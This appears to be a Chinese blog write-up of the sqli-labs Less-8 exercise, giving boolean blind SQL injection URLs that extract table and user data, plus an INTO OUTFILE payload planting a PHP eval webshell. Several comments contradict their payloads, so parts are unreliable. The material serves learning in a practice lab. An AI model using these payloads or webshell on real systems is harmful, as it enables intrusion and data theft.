sql注入第8关

手工注入麻烦

目录

判断闭合方式

判断注入类型

手工注入

1、获取数据库名

2、爆破数据库的名字(security)

3、爆破表的数量

4、判断表名的长度

5、判断表的列名数量

6、判断表的列名的名字

7、获取表的数据

8、判断数据的长度

9、判断数据的值


判断闭合方式

为单引号闭合

判断注入类型

报错不提示报错信息,不适宜用报错注入,

不返回任何信息,不适宜联合查询

那就只能用布尔盲注了,因为错误返回错误页面,正确返回正确页面

上一关是可以直接写入文件,试了一下这一关也是可以直接写入后门代码,然后用蚁剑去连接

那个写入文件只需要满足结果条件就可以了

1、secury为空

2、是root高权限用户

先试一下直接写入一句话木马,可以看出写入成功

http://sql-labs:8888/Less-8/?id=1' union select 1,'<?php @eval($_post["test"])?>',3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-8//6.php"--+

但是这关的目的一个是让我们使用布尔注入,内容来自这,具体看这两篇文章

sqli-labs第八关-布尔注入_51CTO博客_sqli-labs第二关icon-default.png?t=O83Ahttps://blog.51cto.com/u_15400845/4293172#_50CTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客icon-default.png?t=O83Ahttps://blog.csdn.net/Xxy605/article/details/109750292

一、盲注思路
由于对数据库的信息了解甚少,盲注需要考虑多种情况,一般思路如下:

1 爆库名长度
2 根据库名长度爆库名
3 对当前库爆表数量
4 根据库名和表数量爆表名长度
5 根据表名长度爆表名
6 对表爆列数量
7 根据表名和列数量爆列名长度
8 根据列名长度爆列名
9 根据列名爆数据值

手工注入

1、获取数据库名

?id=1' and length(database())=1--+    //查询数据库名字的长度

经过查询有八位

2、爆破数据库的名字(security)

http://sql-labs:8888/Less-1/?id=1' and substr(database(),1,1)='s' --+      //数据库第一个字符是s

http://sql-labs:8888/Less-1/?id=1' and substr(database(),2,1)='s' --+      //数据库第一个字符是e

3、爆破表的数量

http://sql-labs:8888/Less-1/?id=1' and (select COUNT(*) from information_schema.tables where table_schema=database())=4 --+

查询到数据库表的数量有4张

4、判断表名的长度

这个语句不行,在上面那篇文章复制过来的,至于为什么不行,我不想去想了

http://sql-labs:8888/Less-1/?id=1' and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4 --+

正确语句

http://sql-labs:8888/Less-8/?id=1' and (select  length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+

第一张表名的长度

5、判断表的列名数量

http://sql-labs:8888/Less-8/?id=1' and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='users')=3 --+

正确代码

http://sql-labs:8888/Less-8/?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+

这里有问题,报错了,没查到任何数据,一直显示报错界面,没搞懂,下一个,我居然忘了可以直接百度找答案!找到答案了

6、判断表的列名的名字

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+

判断第一列的第一个字母为i,这个有三列,id,username,password

不过爆列名数,为什么要在后面加上limit(0,1),因为爆表的数量的时候没加这个,爆列的数量就加了这个了

做不了了,这里也不知道做,我是按照那个ctfhub那个题目做的,按理来说应该也能做出来,不过要花点时间,不用花时间了,只需要思考一下就好了,但是也不想思考

7、获取表的数据

http://sql-labs:8888/Less-8/?id=1' and  (select count(*) from users)=13 --+

判断表的数据有13条数据

8、判断数据的长度

http://sql-labs:8888/Less-8/?id=1' and length((select id from users limit 0,1))=1 --+

判断id的数据长度为1位

http://sql-labs:8888/Less-8/?id=1'   and  length((select username from users limit 0,1))=4 --+

判断username的数据长度为1位

9、判断数据的值

http://sql-labs:8888/Less-8/?id=1'   and ascii(substr((select username from users limit 0,1),1,1))=68 --+

判断username的第一个值为D

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值